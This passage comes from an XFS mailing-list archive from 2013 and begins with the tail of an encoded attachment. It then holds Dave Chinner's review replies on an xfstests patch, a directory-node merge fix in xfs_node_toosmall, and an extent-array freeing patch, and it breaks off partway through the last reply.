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 5ctZfWXn8lJrp1ivmv+yL8mg12SvHF4QPu7eult9vGFp/Ga+9X83HXmxlXZTXeHd8TWR3T53AmPr 8Ohsmirvl/WHzC9vnTK0PduivjP2um8uuU7a1+yDv86Y2c5a9m7aaBzU10nBLM/P8LD1ZjpdxhnL Vzt5b7DDSSSGdvJutk/9L5sLfnXfZn+Hb7fphutR/bafifMj92Tym5+fIL7rNIbLetdh8xWq9hu0 /+9BejZZB+3njrfBY9pqspzJW6SFHgntX53K0Gy7DWv3PlyALp0HJ9yW8x+kf36mDMWb6sdaElr0 2MzUZN3K22fR4buflvdT0rLMyeHw6/eeTjJn5H+Cw/It866XyQt3i4uOuFr09f7VjtF7j7gv/bP7 jZLFF25vgMbiydfyxLjxoui0Gn+CX1V3+KAz/e3GLgPHl+3m7rN6lDJ9fZZK73fy67T7xl2d36Gv jWvP66N/J+Yr82ZXfTb7md16F+do75R6PeX7y5pd3GhxHndPHdkT5bI6NlXSV5Vfn57IyWTmMu9M mdn9Fb7POfltnSw56Y5n4Tn7Z20dL5ejZeJy85nrP+d+kvLFpZHfO2xxWf4lwep/zc/W2Hu4CUn+ Ow5TSv2Il2/It81kuv8el6u4eGDtYfaUFicLNb3Dd+v9D+Pa5zfhwb6PszNO8qaApe3cXuPK6DZD 4bAPuHloN4nYJ9qveofgr23rm8SMUn+uSxK1Hx/I2zB9Fn6UpxtZyVaT/RzXnR8abjP95e1rWtNv yRO5+2/zOaz03Xb64fm3x2pZlp37f14XObvB7Sf+d9uTHcPl5zxFy98yXzx7r3q9fvohGq32dpuT U2t+bw1btEH9Wd42WunnyGtS6PMXb9LJo/vfuDM8aC/XD46W8H3IMbvmncRTBjOUBl+yHzlHsPQl ZvlvzdYmO9UVxfpHnZRXatFv+HPWX7tTCovyvG22296dOX6gQtgFXivypyUmLO6qD9VcOfJnWtBU sO+1WvKrhH5M5iQ+zwl7VQOq4KaZ3HNvN6lAKqodpnbZb9uUevUork8q39XH8vQwc2K4KTy+D66P EUx5G/x+EerJ6vklkRxmEvsfF3/CX70663S2tiWlCRkvUXFxOCpgRlKWLjJGyPj2vLjzEu99wWG9 UkgjGD9hJF3iaWo6SkpB3bm6Rvo7f8TItsfIeogfTjY/DemyQ52GvzdF4aJxIw8pUbnBIkdG6lf0 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 mHwcZhJJtSg8bt+CjpFVZ6QvCf/kxD17AEAHAA== ------=_NextPart_000_12FE_01CEB8C1.1704EA00-- From david@fromorbit.com Mon Sep 23 18:30:21 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 5263D7F3F for ; Mon, 23 Sep 2013 18:30:21 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 3124E304053 for ; Mon, 23 Sep 2013 16:30:17 -0700 (PDT) X-ASG-Debug-ID: 1379979015-04bdf053874254d0001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id 4Vu4bXrIEyz7648N for ; Mon, 23 Sep 2013 16:30:16 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AjMIANnNQFJ5LLrX/2dsb2JhbABZgweDS7krhT2BHRd0giUBAQQBOhwjBQsIAxgJJQ8FJQMhE4d/BbwrFo9PB4QeA5d7kXiDNio Received: from ppp121-44-186-215.lns20.syd7.internode.on.net (HELO dastard) ([121.44.186.215]) by ipmail05.adl6.internode.on.net with ESMTP; 24 Sep 2013 09:00:14 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VOFa0-0006gu-F0; Tue, 24 Sep 2013 09:30:12 +1000 Date: Tue, 24 Sep 2013 09:30:12 +1000 From: Dave Chinner To: Mark Tinguely Cc: xfs@oss.sgi.com Subject: Re: [PATCH] xfstests: v2 xfs directory unbalance assert test Message-ID: <20130923233012.GV9901@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfstests: v2 xfs directory unbalance assert test References: <20130917192538.230164044@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130917192538.230164044@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1379979015 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140867 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Sep 17, 2013 at 02:25:23PM -0500, Mark Tinguely wrote: > This tests triggers an assert in the XFS directory unbalance code. > This test originally written by Brian Foster and suggestions > from Micheal Semon. > > Signed-off-by: Mark Tinguely A recent comment about the _cleanup funtion being removed made me look at this again.... Where's the trap function to catch a ctrl-c and clean up the test when that happens? i.e. at minimum, the trap and cleanup function is used to ensure the test is marked as failed if it is interrupted, and in this case it probably needs to kill all the fsstress processes and wait for them to complete, as well as remove > put into auto group and "long" group so people can opt out: > this test almost an hour on my test box. The group for this is called "stress" - there's no need to introduce a new group for the same test criteria. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Mon Sep 23 18:48:28 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id B73107F3F for ; Mon, 23 Sep 2013 18:48:28 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id A70388F8054 for ; Mon, 23 Sep 2013 16:48:25 -0700 (PDT) X-ASG-Debug-ID: 1379980103-04cb6c2e9f134b840001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id RmYZzZ3MddoOZi5v for ; Mon, 23 Sep 2013 16:48:24 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AjMIAInSQFJ5LLrX/2dsb2JhbABZgweDS7krhT2BHRd0giUBAQUnExwjBQsIAxgJJQ8FJQMhE4gEvDgWj08HhB4Dl3uKOYc/gzYq Received: from ppp121-44-186-215.lns20.syd7.internode.on.net (HELO dastard) ([121.44.186.215]) by ipmail05.adl6.internode.on.net with ESMTP; 24 Sep 2013 09:18:23 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VOFrX-0006iR-Op; Tue, 24 Sep 2013 09:48:19 +1000 Date: Tue, 24 Sep 2013 09:48:19 +1000 From: Dave Chinner To: Mark Tinguely Cc: xfs@oss.sgi.com, stable@vger.kernel.org Subject: Re: [PATCH] xfs: v2 fix node forward in xfs_node_toosmall Message-ID: <20130923234819.GW9901@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfs: v2 fix node forward in xfs_node_toosmall References: <20130920220519.585903357@sgi.com> <20130923171911.273669684@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130923171911.273669684@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1379980103 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140868 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Sep 23, 2013 at 12:18:58PM -0500, Mark Tinguely wrote: > Commit f5ea1100 cleans up the disk to host conversions for > node directory entries, but because a variable is reused in > xfs_node_toosmall() the next node is not correctly found. > If the original node is small enough (<= 3/8 of the node size), > this change may incorrectly cause a node collapse when it should > not. The comment about the size of the node triggering a collapse is irrelevant - nodes always collapse at that given size. What this doesn't tell us is why the crash occurs - "the next node is not correctly found" is not particularly obvious, and would require quite a bit of code reading to work out from first principles a couple of years down the track. The commit message should be more precise and describe what the underlying cause of the failure was. i.e. that the node is finding itself as the merge candidate because we go forward, overwrite the pointers and the new block's backward sibling is the original block which is where we end up on teh second loop. And vice versa if we go backwards first... Also, the "next node" is correctly termed a "sibling", and it's either the forwards or backwards sibling, not the "next" sibling as the direction of movement is important. So perhaps this is better written as: "When a node is considered for a merge with a sibling, it overwrites the sibling pointers of the original node with the sibling's pointers. This leads to loop considering the original node as a merge candidate with itself in the second pass, and so it incorrectly determines a merge should occur." > That will cause an assert in xfstest generic/319: > > Assertion failed: first <= last && last < BBTOB(bp->b_length), > file: /root/newest/xfs/fs/xfs/xfs_trans_buf.c, line: 569 > > Keep the original node header to get the correct forward node. > > Signed-off-by: Mark Tinguely > --- > v2 -> Dave's local variable approach. > -> send to -stable this bug is in 3.10 and 3.11 The patch title not include "v2". That goes in the "[PATCH v2]" prefix that gets stripped before commit so that commit messages don't have patch version numbers in them.... Otherwise the code looks good. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Mon Sep 23 18:50:24 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 9E3A47F3F for ; Mon, 23 Sep 2013 18:50:24 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 8BBD5304043 for ; Mon, 23 Sep 2013 16:50:24 -0700 (PDT) X-ASG-Debug-ID: 1379980222-04cb6c2e9f134b9f0001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id cP3tdI0jbQ74oEIx for ; Mon, 23 Sep 2013 16:50:23 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AjIIAInSQFJ5LLrX/2dsb2JhbABZgweDS7krhT2BHRd0giUBAQU6HCMQCAMVAwklDwUlAyETiAS8OBaPTweEHgOUH4NcijmHP4FmgVAq Received: from ppp121-44-186-215.lns20.syd7.internode.on.net (HELO dastard) ([121.44.186.215]) by ipmail05.adl6.internode.on.net with ESMTP; 24 Sep 2013 09:20:22 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VOFtR-0006j0-Ho; Tue, 24 Sep 2013 09:50:17 +1000 Date: Tue, 24 Sep 2013 09:50:17 +1000 From: Dave Chinner To: Jeff Liu Cc: "xfs@oss.sgi.com" Subject: Re: [PATCH] xfs: improve xfs_iext_destroy() by freeing extent indirection array directly Message-ID: <20130923235017.GX9901@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfs: improve xfs_iext_destroy() by freeing extent indirection array directly References: <523C5E92.8000406@oracle.com> <20130923003617.GM12541@dastard> <523FCA18.1000204@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <523FCA18.1000204@oracle.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1379980222 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140868 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Sep 23, 2013 at 12:56:56PM +0800, Jeff Liu wrote: > On 09/23/2013 08:36 AM, Dave Chinner wrote: > > > On Fri, Sep 20, 2013 at 10:41:22PM +0800, Jeff Liu wrote: > >> From: Jie Liu > >> > >> To free the incore file extents stores at the indirection array, we > >> call the common routine xfs_iext_irec_remove() to remove a record > >> from the array one at a time in reverse order, which will resize an > >> extent indirection array repeatedly according to the array size. > >> > >> This is not often the case to make a file with thousands extent records > >> stores at an indirection array, but above operation is inefficient and > >> could result in memory fragments. > > > > 